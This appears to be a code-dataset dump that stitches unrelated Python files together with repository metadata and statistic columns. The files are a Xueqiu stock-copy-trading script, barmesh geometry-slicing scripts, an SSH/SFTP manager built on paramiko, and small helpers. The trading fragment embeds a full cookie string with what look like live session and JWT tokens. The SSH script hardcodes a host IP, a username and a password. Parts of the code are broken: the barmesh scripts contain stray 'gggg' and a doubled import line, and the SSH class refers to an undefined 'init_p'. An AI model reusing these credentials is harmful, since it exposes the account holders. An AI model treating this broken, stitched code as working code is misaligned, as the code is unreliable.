cookies='device_id=24700f9f1986800ab4fcc880530dd0ed; s=c611jy83d1; bid=7130b0353c7fe2b0cac18d13ce0ba33e_kfhri08p; __utmz=1.1601009405.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookiesu=721609119310509; remember=1; xq_a_token=033322615e2b2708e6c80827868f32c360b7427c; xq_id_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1aWQiOjY1NjE2NTI1OTQsImlzcyI6InVjIiwiZXhwIjoxNjExNzExMjk2LCJjdG0iOjE2MDkyMTA4NjExNjksImNpZCI6ImQ5ZDBuNEFadXAifQ.Ci0VGpXOSvqLE2OOAOQYVUdclK44xdC1hhw2wfRW_owouECJgp89RstWExVvuopmAH_jEjNUxKNsyKXI8Dy4w4m8nDTqfKEDHAysyH-AOztVWdra74d0Ebspgdcn02UyfBaKBKY-qeaMn2jjNbVAreP1C9WrZwT5HkPMVyJTx62ASClAdt2PMfP9Eeu2baiGn2jDLHGp-1exroYyeggynCaRmbaYCsH4C-1sM_17Ljw6OmvF5FV_3cLY0NCSs7781MI-36hSa5KpgaGlCjqFNKq9GeYpX6ki2mNyp4rnqOn9bwRW8LQeawLuoYROywViDwVLiGDV8PSvrYGsWVtjGQ; xqat=033322615e2b2708e6c80827868f32c360b7427c; xq_r_token=c5258ce8ff96caa5a21bea59443ba531cd3d7a63; xq_is_login=1; u=6561652594; Hm_lvt_1db88642e346389874251b5a1eded6e3=1609827151,1609827202,1609827252,1609827306; acw_tc=2760820116098333450666290ecfcebc35f0d9d101be6dd73ad4ace7659238; is_overseas=0; __utma=1.1792023165.1601009405.1609724608.1609833358.55; __utmc=1; __utmt=1; __utmb=1.2.10.1609833358; Hm_lpvt_1db88642e346389874251b5a1eded6e3=1609833427')
# 总金额50万 下单时浮动2个点
xq_follower.follow(user,
'ZH974199', # 威廉
total_assets=1180000,
slippage=0.02,
trade_cmd_expire_seconds=120,
# adjust_sell=True,
track_interval=5,
cmd_cache=True
)
| 118.576923
| 1,244
| 0.850146
| 233
| 3,083
| 10.93133
| 0.44206
| 0.06596
| 0.011779
| 0.036906
| 0.87554
| 0.87554
| 0.87554
| 0.87554
| 0.87554
| 0.87554
| 0
| 0.322854
| 0.081739
| 3,083
| 25
| 1,245
| 123.32
| 0.576828
| 0.032112
| 0
| 0
| 0
| 0.111111
| 0.833389
| 0.757138
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.055556
| 0
| 0.055556
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
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| 1
| 0
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| 1
| null | 0
| 0
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| 0
| 0
|
0
| 12
|
81dc340c5383dc40bcd7f39aa823ea6959ad2c3b
| 7,396
|
py
|
Python
|
barmeshsparetwistcode.py
|
goatchurchprime/barmesh
|
3245863a10f2723c516f45514a5e88b2094815b4
|
[
"MIT"
] | 3
|
2022-02-04T19:32:23.000Z
|
2022-02-17T07:18:44.000Z
|
barmeshsparetwistcode.py
|
goatchurchprime/barmesh
|
3245863a10f2723c516f45514a5e88b2094815b4
|
[
"MIT"
] | null | null | null |
barmeshsparetwistcode.py
|
goatchurchprime/barmesh
|
3245863a10f2723c516f45514a5e88b2094815b4
|
[
"MIT"
] | null | null | null |
import sys, imp
sys.path.append(r"/home/goatchurch/geom3d/barmesh")
from basicgeo import P2, P3, Partition1
import barmesh, triangleboxing, mainfunctions, barmeshcell, implicitareaballoffset
sendactivity("clearalltriangles")
#fname = "/home/goatchurch/geom3d/stlfiles/impellor1.stl"
#tbm = mainfunctions.TBMfromSTL(fname, (lambda t: (t[0], -t[2], t[1])))
#z = 6.5
fname = "/home/goatchurch/geom3d/stlfiles/barobox.stl"
tbm = mainfunctions.TBMfromSTL(fname)
z = tbm.zlo*0.7 + tbm.zhi*0.3
#sendactivity("triangles", codetriangles=tbm.GetBarMeshTriangles())
iaballoffset = implicitareaballoffset.ImplicitAreaBallOffset(tbm)
imp.reload(barmesh)
imp.reload(triangleboxing)
imp.reload(mainfunctions)
imp.reload(barmeshcell)
sendactivity("clearalltriangles")
sendactivity("clearallcontours")
sendactivity("clearallpoints")
# initial rectbarmesh
rd = 1.5
rex = rd + 2.5
xpart = Partition1(tbm.xlo-rex, tbm.xhi+rex, 45)
ypart = Partition1(tbm.ylo-rex, tbm.yhi+rex, 37)
bm = barmesh.BarMesh()
bm.BuildRectBarMesh(xpart, ypart, z)
rd2 = max(xpart.vs[1]-xpart.vs[0], ypart.vs[1]-ypart.vs[0], rd*1.5) + 0.1
bms = barmeshcell.barmeshslicer(bm, iaballoffset, rd=rd, rd2=rd2, contourdotdiff=0.95, contourdelta=0.05, lamendgap=0.001)
bms.initializecutsanddistances()
bms.plotslicer(sendactivity)
sendactivity("points", points=bms.getbarendclos(bm.bars), materialnumber=2)
currentcolour = -1
ncount = 0
while bms.barpolycuts:
currentcolour += 1
if currentcolour > bm.maxcellcolour:
currentcolour = 0
bms.plotslicer(sendactivity)
bms.splitbarpolyscolour(currentcolour)
ncount += 1
if ncount == 10:
print("breaking with", len(bms.barpolycuts))
break
-----------------------
import sys, impimport sys, imp
sys.path.append(r"/home/goatchurch/geom3d/barmesh")
from basicgeo import P2, P3, Partition1
import barmesh, triangleboxing, mainfunctions, barmeshcell
import implicitareaballoffset, implicitareacyloffset
imp.reload(barmesh)
imp.reload(implicitareacyloffset)
imp.reload(mainfunctions)
imp.reload(barmeshcell)
sendactivity("clearalltriangles")
#fname = "/home/goatchurch/geom3d/stlfiles/impellor1.stl"
#tbm = mainfunctions.TBMfromSTL(fname, (lambda t: (t[0], -t[2], t[1])))
#z = 6.5
fname = "/home/goatchurch/geom3d/stlfiles/barobox.stl"
tbm = mainfunctions.TBMfromSTL(fname)
z = tbm.zlo*0.7 + tbm.zhi*0.3
#sendactivity("triangles", codetriangles=tbm.GetBarMeshTriangles())
iacyloffset = implicitareacyloffset.ImplicitAreaCylOffset(tbm)
sendactivity("clearalltriangles")
sendactivity("clearallcontours")
sendactivity("clearallpoints")
# initial rectbarmesh
rd = 3.3
rex = rd + 2.5
xpart = Partition1(tbm.xlo-rex, tbm.xhi+rex, 45)
ypart = Partition1(tbm.ylo-rex, tbm.yhi+rex, 37)
bm = barmesh.BarMesh()
bm.BuildRectBarMesh(xpart, ypart, z)
rd2 = max(xpart.vs[1]-xpart.vs[0], ypart.vs[1]-ypart.vs[0], rd*1.5) + 0.1
iacyloffset.SetCylZrg(z - 0.2, z + 5.2)
bms = barmeshcell.barmeshslicer(bm, iacyloffset, rd=rd, rd2=rd2, contourdotdiff=0.95, contourdelta=0.05, lamendgap=0.001)
bms.initializecutsanddistances()
bms.plotslicer(sendactivity)
sendactivity("points", points=bms.getbarendclos(bm.bars), materialnumber=2)
gggg
currentcolour = -1
ncount = 0
while bms.barpolycuts:
currentcolour += 1
if currentcolour > bm.maxcellcolour:
currentcolour = 0
bms.plotslicer(sendactivity)
bms.splitbarpolyscolour(currentcolour)
ncount += 1
if ncount == 10:
print("breaking with", len(bms.barpolycuts))
break
sys.path.append(r"/home/goatchurch/geom3d/barmesh")
from basicgeo import P2, P3, Partition1
import barmesh, triangleboxing, implicitareaballoffset
import mainfunctions, barmeshcell
sendactivity("clearalltriangles")
#fname = "/home/goatchurch/geom3d/stlfiles/impellor1.stl"
#tbm = mainfunctions.TBMfromSTL(fname, (lambda t: (t[0], -t[2], t[1])))
fname = "/home/goatchurch/geom3d/stlfiles/barobox.stl"
tbm = mainfunctions.TBMfromSTL(fname, (lambda t: (t[0], t[1], t[2])))
#sendactivity("triangles", codetriangles=tbm.GetBarMeshTriangles())
iaballoffset = implicitareaballoffset.ImplicitAreaBallOffset(tbm)
imp.reload(barmesh)
imp.reload(triangleboxing)
imp.reload(mainfunctions)
imp.reload(barmeshcell)
sendactivity("clearalltriangles")
sendactivity("clearallcontours")
sendactivity("clearallpoints")
rd = 1.1
def MakeSlice(z):
rex = rd + 2.5
bm = barmesh.BarMesh()
bm.BuildRectBarMesh(Partition1(tbm.xlo-rex, tbm.xhi+rex, 45), Partition1(tbm.ylo-rex, tbm.yhi+rex, 37), z)
bms = barmeshcell.barmeshslicer(bm, iaballoffset, rd=rd, contourdotdiff=0.95, contourdelta=0.05, lamendgap=0.001)
bms.initializecutsanddistances()
currentcolour = -1
ncount = 0
while bms.barpolycuts:
currentcolour += 1
if currentcolour > bm.maxcellcolour:
currentcolour = 0
bms.splitbarpolyscolour(currentcolour)
ncount += 1
if ncount == 20:
print("breaking with", len(bms.barpolycuts))
break
#print([bc.GetCellMark().cellcolour for bc in bms.barpolycuts])
print("totaltime:", bms.totalproctime, "triangletime:", bms.trianglehacktime)
sendactivity("contours", contours=mainfunctions.BarMeshContoursF(bm, barmesh.PZ_BEYOND_R)[0])
for i in range(0, 12):
lam = (i+0.5)/12
z = (tbm.zlo-rd)*(1 - lam) + (tbm.zhi+rd)*lam
MakeSlice(z)
-------------------------
import sys, imp
sys.path.append(r"/home/goatchurch/geom3d/barmesh")
from basicgeo import P2, P3, Partition1
import barmesh, triangleboxing, mainfunctions, barmeshcell
import implicitareaballoffset, implicitareacyloffset
imp.reload(barmesh)
imp.reload(implicitareacyloffset)
imp.reload(mainfunctions)
imp.reload(barmeshcell)
sendactivity("clearalltriangles")
#fname = "/home/goatchurch/geom3d/stlfiles/impellor1.stl"
#tbm = mainfunctions.TBMfromSTL(fname, (lambda t: (t[0], -t[2], t[1])))
#z = 6.5
fname = "/home/goatchurch/geom3d/stlfiles/barobox.stl"
tbm = mainfunctions.TBMfromSTL(fname)
z = tbm.zlo*0.7 + tbm.zhi*0.3
#sendactivity("triangles", codetriangles=tbm.GetBarMeshTriangles())
iacyloffset = implicitareacyloffset.ImplicitAreaCylOffset(tbm)
sendactivity("clearalltriangles")
sendactivity("clearallcontours")
sendactivity("clearallpoints")
# initial rectbarmesh
rd = 3.3
rex = rd + 2.5
xpart = Partition1(tbm.xlo-rex, tbm.xhi+rex, 45)
ypart = Partition1(tbm.ylo-rex, tbm.yhi+rex, 37)
bm = barmesh.BarMesh()
bm.BuildRectBarMesh(xpart, ypart, z)
rd2 = max(xpart.vs[1]-xpart.vs[0], ypart.vs[1]-ypart.vs[0], rd*1.5) + 0.1
iacyloffset.SetCylZrg(z - 0.2, z + 5.2)
bms = barmeshcell.barmeshslicer(bm, iacyloffset, rd=rd, rd2=rd2, contourdotdiff=0.95, contourdelta=0.05, lamendgap=0.001)
bms.initializecutsanddistances()
bms.plotslicer(sendactivity)
sendactivity("points", points=bms.getbarendclos(bm.bars), materialnumber=2)
gggg
currentcolour = -1
ncount = 0
while bms.barpolycuts:
currentcolour += 1
if currentcolour > bm.maxcellcolour:
currentcolour = 0
bms.plotslicer(sendactivity)
bms.splitbarpolyscolour(currentcolour)
ncount += 1
if ncount == 10:
print("breaking with", len(bms.barpolycuts))
break
| 30.561983
| 123
| 0.706463
| 881
| 7,396
| 5.92849
| 0.131669
| 0.02757
| 0.045951
| 0.038292
| 0.932031
| 0.925522
| 0.925522
| 0.89259
| 0.881103
| 0.877274
| 0
| 0.035514
| 0.154813
| 7,396
| 241
| 124
| 30.688797
| 0.800032
| 0.12331
| 0
| 0.878049
| 0
| 0
| 0.105559
| 0.048201
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.085366
| null | null | 0.030488
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
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| 0
| 0
| 0
| 0
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| 1
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| 0
| 0
| null | 0
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| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
81e0f01880fd7933bb0895863305c9fd4aa68895
| 157
|
py
|
Python
|
imma_conversions.py
|
andreiboyanov/imma-parser
|
3d6742a560750654cb145e96e77e5adac0ef6921
|
[
"MIT"
] | 1
|
2018-10-05T01:52:45.000Z
|
2018-10-05T01:52:45.000Z
|
imma_conversions.py
|
andreiboyanov/imma-parser
|
3d6742a560750654cb145e96e77e5adac0ef6921
|
[
"MIT"
] | null | null | null |
imma_conversions.py
|
andreiboyanov/imma-parser
|
3d6742a560750654cb145e96e77e5adac0ef6921
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
def float1(string_value):
return float(string_value) / 10.0
def float2(string_value):
return float(string_value) / 100.0
| 15.7
| 38
| 0.66879
| 23
| 157
| 4.391304
| 0.565217
| 0.435644
| 0.336634
| 0.435644
| 0.653465
| 0.653465
| 0
| 0
| 0
| 0
| 0
| 0.078125
| 0.184713
| 157
| 9
| 39
| 17.444444
| 0.710938
| 0.133758
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
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| 1
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| 0
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| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 7
|
c4bc894bbaee7e51f16dc0e7d29d57933b8a707f
| 11,972
|
py
|
Python
|
mysql_test/RemoteSsh.py
|
AlbertCQY/AIOps
|
c5ee7276d99d9de722cfab60f55845a62fb807fe
|
[
"Apache-2.0"
] | 3
|
2020-10-14T05:05:47.000Z
|
2020-11-24T07:23:23.000Z
|
otps_test/RemoteSsh.py
|
AlbertCQY/AIOps
|
c5ee7276d99d9de722cfab60f55845a62fb807fe
|
[
"Apache-2.0"
] | null | null | null |
otps_test/RemoteSsh.py
|
AlbertCQY/AIOps
|
c5ee7276d99d9de722cfab60f55845a62fb807fe
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# !/usr/bin/python
import paramiko
import os, sys, time
from paramiko_expect import SSHClientInteraction
from functools import wraps
from datetime import datetime
def timethis(func):
"""
时间装饰器，计算函数执行所消耗的时间
:param func:
:return:
"""
@wraps(func)
def wrapper(*args, **kwargs):
start = datetime.now()
result = func(*args, **kwargs)
end = datetime.now()
print(func.__name__, end - start)
return result
return wrapper
class SSHManager:
def __init__(self, host, usr, passwd):
self._host = host
self._usr = usr
self._passwd = passwd
self._ssh = None
self._sftp = None
self._sftp_connect()
self._ssh_connect()
def delsession(self):
if self._ssh:
self._ssh.close()
if self._sftp:
self._sftp.close()
def _sftp_connect(self):
try:
transport = paramiko.Transport((self._host, 22))
transport.connect(username=self._usr, password=self._passwd)
self._sftp = paramiko.SFTPClient.from_transport(transport)
except Exception as e:
raise RuntimeError("sftp connect failed [%s]" % str(e))
def _ssh_connect(self):
try:
# 创建ssh对象
self._ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
self._ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
self._ssh.connect(hostname=self._host,
port=22,
username=self._usr,
password=self._passwd,
timeout=5)
self.channel = self._ssh.invoke_shell()
self.channel.settimeout(100)
except Exception:
raise RuntimeError("ssh connected to [host:%s, usr:%s, passwd:%s] failed" %
(self._host, self._usr, self._passwd))
def get_channel(self):
return self._ssh.invoke_shell()
@timethis
def _upload_file(self, local_file, remote_file):
"""
通过sftp上传本地文件到远程
:param local_file:
:param remote_file:
:return:
"""
try:
self._sftp.put(local_file, remote_file)
except Exception as e:
raise RuntimeError('upload failed [%s]' % str(e))
@timethis
def _download_file(self, remote_file,local_file):
"""
通过sftp下载远程文件到本地
:param remote_file:
:param local_file:
:return:
"""
try:
self._sftp.get( remote_file,local_file)
except Exception as e:
raise RuntimeError('download failed [%s]' % str(e))
def _exec_command(self, cmd, path='~'):
"""
通过ssh执行远程命令,命令不需要交互
:param cmd:
:return:
"""
try:
stdin, stdout, stderr = self._ssh.exec_command('cd ' + path + ';' + cmd)
return stdout.read().decode()
except Exception as e:
raise RuntimeError('Exec command [%s] failed' % str(cmd))
def ssh_exec_cmd(self, cmd, path='~'):
"""
通过ssh连接到远程服务器，执行给定的命令,命令不需要交互,获取单次执行命令的结果
:param cmd: 执行的命令
:param path: 命令执行的目录
:return: 返回结果
"""
try:
result = self._exec_command('cd ' + path + ';' + cmd)
return result
except Exception:
raise RuntimeError('exec cmd [%s] failed' % cmd)
def ssh_exec_cmd2(self, cmd, path='~'):
"""
通过ssh连接到远程服务器，执行给定的命令,需要交互
:param cmd: 执行的命令
:param path: 命令执行的目录
:return: 返回结果
"""
if '''~/.ssh/authorized_keys''' in cmd:
# buff = ''
resp = ''
channel = self.get_channel()
channel.send('cd ' + path + ';' + cmd + '\n')
while not resp.endswith('password: '):
try:
resp = channel.recv(9999).decode('utf8')
channel.send('hostname\n')
ch_res = channel.recv(9999).decode('utf8')
except Exception as e:
print('Error info:%s connection authorized_keys.' % (str(e)))
channel.close()
self._ssh.close()
sys.exit()
# buff += resp
if not resp.find('(yes/no)') == -1:
channel.send('yes\n')
channel.send(init_p.init_password + '\n')
def setupselfssh(self,password, cmd, path='~'):
"""
通过ssh连接到远程服务器，执行给定的命令,命令不需要交互,获取单次执行命令的结果
:param cmd: 执行的命令
:param path: 命令执行的目录
:return: 返回结果
"""
# try:
# result = self._exec_command('cd ' + path + ';' + cmd)
# print(result)
# except Exception:
# raise RuntimeError('exec cmd [%s] failed' % cmd)
PROMPT1 ="Are you sure.*"
PROMPT2 = ".*password: "
PROMPT3 = "Do you want to continue.*"
PROMPTZ = ".*~\][#\$] "
with SSHClientInteraction(self._ssh, timeout=10, encoding='utf-8', display=False, buffer_size=100000) as interact:
if cmd.endswith("-advanced -noPromptPassphrase"):
interact.send('cd ' + path + ';' + cmd)
i = -1
while (i!=5):
i = interact.expect([PROMPT1,PROMPT2,PROMPT3,PROMPTZ],timeout=10)
if i == 0 or i == 2:
interact.send('yes')
elif i == 1:
interact.send(password)
elif i == 3:
cmd_output_uname = interact.current_output_clean
interact.send('exit')
interact.expect()
return [5,interact]
elif cmd.endswith("""cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys"""):
interact.send('cd ' + path + ';' + cmd)
#time.sleep(1)
interact.expect(PROMPT1)
interact.send('yes')
#time.sleep(1)
interact.expect(PROMPT2)
#time.sleep(1)
interact.send(password)
interact.expect(PROMPTZ)
cmd_output_uname = interact.current_output_clean
interact.send('exit')
elif cmd.startswith("""scp ~/.ssh/authorized_keys"""):
interact.send('cd ' + path + ';' + cmd)
#time.sleep(1)
interact.expect(PROMPT2)
interact.send(password)
interact.expect(PROMPTZ)
cmd_output_uname = interact.current_output_clean
interact.send('exit')
elif not cmd.find("date;ssh") == -1:
try:
interact.send('cd ' + path + ';' + cmd)
#time.sleep(1)
interact.expect(PROMPT1)
interact.send('yes')
#time.sleep(1)
interact.expect(PROMPT1)
interact.send('yes')
interact.expect(PROMPTZ)
cmd_output_uname = interact.current_output_clean
interact.send('exit')
except Exception as e:
pass
#安装部署服务器和目标主机之间建立了ssh 信任的情况下，不需要知道目标主机的密码，就可以建立ssh连接
#默认使用oracle用户的private key,端口默认为22
class SSHManager2:
def __init__(self, host, usr):
pkey_file = '/home/{0}/.ssh/id_rsa'.format(usr)
pkey = paramiko.RSAKey.from_private_key_file(pkey_file)
self._host = host
self._usr = usr
self._pkey = pkey
self._ssh = None
self._sftp = None
self._ssh_connect()
self._sftp_connect()
def delsession(self):
if self._ssh:
self._ssh.close()
if self._sftp:
self._sftp.close()
def _sftp_connect(self):
try:
transport = paramiko.SSHClient()
transport.set_missing_host_key_policy(paramiko.AutoAddPolicy())
transport.connect(hostname= self._host,port = 22,username=self._usr, pkey=self._pkey)
t_sftp = transport.get_transport()
self._sftp = paramiko.SFTPClient.from_transport(t_sftp)
except Exception as e:
raise RuntimeError("sftp connect failed [%s]" % str(e))
def _ssh_connect(self):
try:
# 创建ssh对象
self._ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
self._ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
self._ssh.connect(hostname=self._host,
port=22,
username=self._usr,
pkey=self._pkey,
timeout=5)
self.channel = self._ssh.invoke_shell()
self.channel.settimeout(100)
except Exception:
raise RuntimeError("ssh connected to [host:%s, usr:%s, passwd:%s] failed" %
(self._host, self._usr, self._passwd))
def get_channel(self):
return self._ssh.invoke_shell()
@timethis
def _upload_file(self, local_file, remote_file):
"""
通过sftp上传本地文件到远程
:param local_file:
:param remote_file:
:return:
"""
try:
self._sftp.put(local_file, remote_file)
except Exception as e:
raise RuntimeError('upload failed [%s]' % str(e))
@timethis
def _download_file(self, remote_file,local_file):
"""
通过sftp下载远程文件到本地
:param remote_file:
:param local_file:
:return:
"""
try:
self._sftp.get( remote_file,local_file)
except Exception as e:
raise RuntimeError('download failed [%s]' % str(e))
def _exec_command(self, cmd, path='~'):
"""
通过ssh执行远程命令,命令不需要交互
:param cmd:
:return:
"""
try:
stdin, stdout, stderr = self._ssh.exec_command('cd ' + path + ';' + cmd)
return stdout.read().decode()
except Exception as e:
raise RuntimeError('Exec command [%s] failed' % str(cmd))
def ssh_exec_cmd(self, cmd, path='~'):
"""
通过ssh连接到远程服务器，执行给定的命令,命令不需要交互,获取单次执行命令的结果
:param cmd: 执行的命令
:param path: 命令执行的目录
:return: 返回结果
"""
try:
result = self._exec_command('cd ' + path + ';' + cmd)
return result
except Exception:
raise RuntimeError('exec cmd [%s] failed' % cmd)
def ssh_exec_cmd2(self, cmd, path='~'):
"""
通过ssh连接到远程服务器，执行给定的命令,需要交互
:param cmd: 执行的命令
:param path: 命令执行的目录
:return: 返回结果
"""
if '''~/.ssh/authorized_keys''' in cmd:
# buff = ''
resp = ''
channel = self.get_channel()
channel.send('cd ' + path + ';' + cmd + '\n')
while not resp.endswith('password: '):
try:
resp = channel.recv(9999).decode('utf8')
channel.send('hostname\n')
ch_res = channel.recv(9999).decode('utf8')
except Exception as e:
print('Error info:%s connection authorized_keys.' % (str(e)))
channel.close()
self._ssh.close()
sys.exit()
# buff += resp
if not resp.find('(yes/no)') == -1:
channel.send('yes\n')
channel.send(init_p.init_password + '\n')
if __name__ == '__main__':
ssh = SSHManager('1.1.3.111','oracle','bigbangdata.cn')
command1 = ssh.ssh_exec_cmd('hostname')
print(command1)
#ssh._upload_file('/root/cqy1','/home/oracle/cqy1')
#c
| 34.402299
| 122
| 0.511443
| 1,199
| 11,972
| 4.929108
| 0.165972
| 0.027242
| 0.031641
| 0.033503
| 0.784433
| 0.774788
| 0.750592
| 0.725212
| 0.725212
| 0.721489
| 0
| 0.01209
| 0.371283
| 11,972
| 347
| 123
| 34.501441
| 0.773084
| 0.114183
| 0
| 0.763158
| 0
| 0
| 0.084602
| 0.010849
| 0
| 0
| 0
| 0
| 0
| 1
| 0.100877
| false
| 0.083333
| 0.02193
| 0.008772
| 0.171053
| 0.017544
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
c4dcef463dea3de8901de020287eae1405d2cf4d
| 70
|
py
|
Python
|
pyrus_decision_tree/__init__.py
|
milesgranger/pyrus-decision-tree
|
82dd89b7d7be42576be189023f1478e39602f955
|
[
"MIT"
] | null | null | null |
pyrus_decision_tree/__init__.py
|
milesgranger/pyrus-decision-tree
|
82dd89b7d7be42576be189023f1478e39602f955
|
[
"MIT"
] | null | null | null |
pyrus_decision_tree/__init__.py
|
milesgranger/pyrus-decision-tree
|
82dd89b7d7be42576be189023f1478e39602f955
|
[
"MIT"
] | null | null | null |
from pyrus_decision_tree.pyrus_decision_tree import PyrusDecisionTree
| 35
| 69
| 0.928571
| 9
| 70
| 6.777778
| 0.666667
| 0.42623
| 0.557377
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057143
| 70
| 1
| 70
| 70
| 0.924242
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
c4dfc84e8e85784f8a8c1f7a58e00f19c8fc6ed5
| 1,426
|
py
|
Python
|
code/solutions/solution_08.py
|
DahlitzFlorian/python-basic-training
|
baedaee1259ed91e7403ab121519b1257270c700
|
[
"Apache-2.0"
] | 3
|
2019-08-02T14:05:17.000Z
|
2022-01-09T02:00:12.000Z
|
code/solutions/solution_08.py
|
DahlitzFlorian/python-basic-training
|
baedaee1259ed91e7403ab121519b1257270c700
|
[
"Apache-2.0"
] | null | null | null |
code/solutions/solution_08.py
|
DahlitzFlorian/python-basic-training
|
baedaee1259ed91e7403ab121519b1257270c700
|
[
"Apache-2.0"
] | 1
|
2019-10-14T14:20:30.000Z
|
2019-10-14T14:20:30.000Z
|
# This is a possible solution for exercise_08.py
given_input = "07:05:45PM"
if given_input[8] == "P":
if given_input[0] + given_input[1] == "12":
given_input = (
given_input[0]
+ given_input[1]
+ given_input[2]
+ given_input[3]
+ given_input[4]
+ given_input[5]
+ given_input[6]
+ given_input[7]
)
print(given_input)
else:
tmp = int(given_input[0] + given_input[1])
tmp += 12
tmp = str(tmp)
given_input = (
tmp[0]
+ tmp[1]
+ given_input[2]
+ given_input[3]
+ given_input[4]
+ given_input[5]
+ given_input[6]
+ given_input[7]
)
print(given_input)
else:
if given_input[0] + given_input[1] == "12":
given_input = (
"00"
+ given_input[2]
+ given_input[3]
+ given_input[4]
+ given_input[5]
+ given_input[6]
+ given_input[7]
)
print(given_input)
else:
given_input = (
given_input[0]
+ given_input[1]
+ given_input[2]
+ given_input[3]
+ given_input[4]
+ given_input[5]
+ given_input[6]
+ given_input[7]
)
print(given_input)
| 25.464286
| 50
| 0.448107
| 160
| 1,426
| 3.7125
| 0.2
| 0.740741
| 0.092593
| 0.13468
| 0.816498
| 0.816498
| 0.779461
| 0.779461
| 0.779461
| 0.779461
| 0
| 0.066416
| 0.440393
| 1,426
| 55
| 51
| 25.927273
| 0.677945
| 0.032258
| 0
| 0.773585
| 0
| 0
| 0.012337
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.075472
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
c4ee218951843915aef1ad078dd550077e24f143
| 104
|
py
|
Python
|
congregation/dag/nodes/internal/__init__.py
|
CCD-HRI/congregation
|
a552856b03a64a4295792184107c4e529ca3f4ae
|
[
"MIT"
] | 3
|
2020-10-05T16:30:15.000Z
|
2021-01-22T13:38:02.000Z
|
congregation/dag/nodes/internal/__init__.py
|
CCD-HRI/congregation
|
a552856b03a64a4295792184107c4e529ca3f4ae
|
[
"MIT"
] | null | null | null |
congregation/dag/nodes/internal/__init__.py
|
CCD-HRI/congregation
|
a552856b03a64a4295792184107c4e529ca3f4ae
|
[
"MIT"
] | 1
|
2021-02-19T12:40:57.000Z
|
2021-02-19T12:40:57.000Z
|
from congregation.dag.nodes.internal.unary import *
from congregation.dag.nodes.internal.binary import *
| 52
| 52
| 0.836538
| 14
| 104
| 6.214286
| 0.571429
| 0.367816
| 0.436782
| 0.551724
| 0.735632
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.067308
| 104
| 2
| 52
| 52
| 0.896907
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
c4f3acb154c7a6214ced4e7cf4162f20824633e6
| 173
|
py
|
Python
|
app/scmapp/views.py
|
muhiza/digital.cooperative
|
f57a749e10796b6e00920b21809ab56b9274d944
|
[
"Unlicense"
] | null | null | null |
app/scmapp/views.py
|
muhiza/digital.cooperative
|
f57a749e10796b6e00920b21809ab56b9274d944
|
[
"Unlicense"
] | null | null | null |
app/scmapp/views.py
|
muhiza/digital.cooperative
|
f57a749e10796b6e00920b21809ab56b9274d944
|
[
"Unlicense"
] | null | null | null |
from flask import render_template
#from models import *
from . import supply_chain
@supply_chain.route('/')
def dashboardzxc():
return render_template("dashboard.html")
| 17.3
| 41
| 0.774566
| 22
| 173
| 5.909091
| 0.636364
| 0.215385
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121387
| 173
| 9
| 42
| 19.222222
| 0.855263
| 0.115607
| 0
| 0
| 0
| 0
| 0.1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
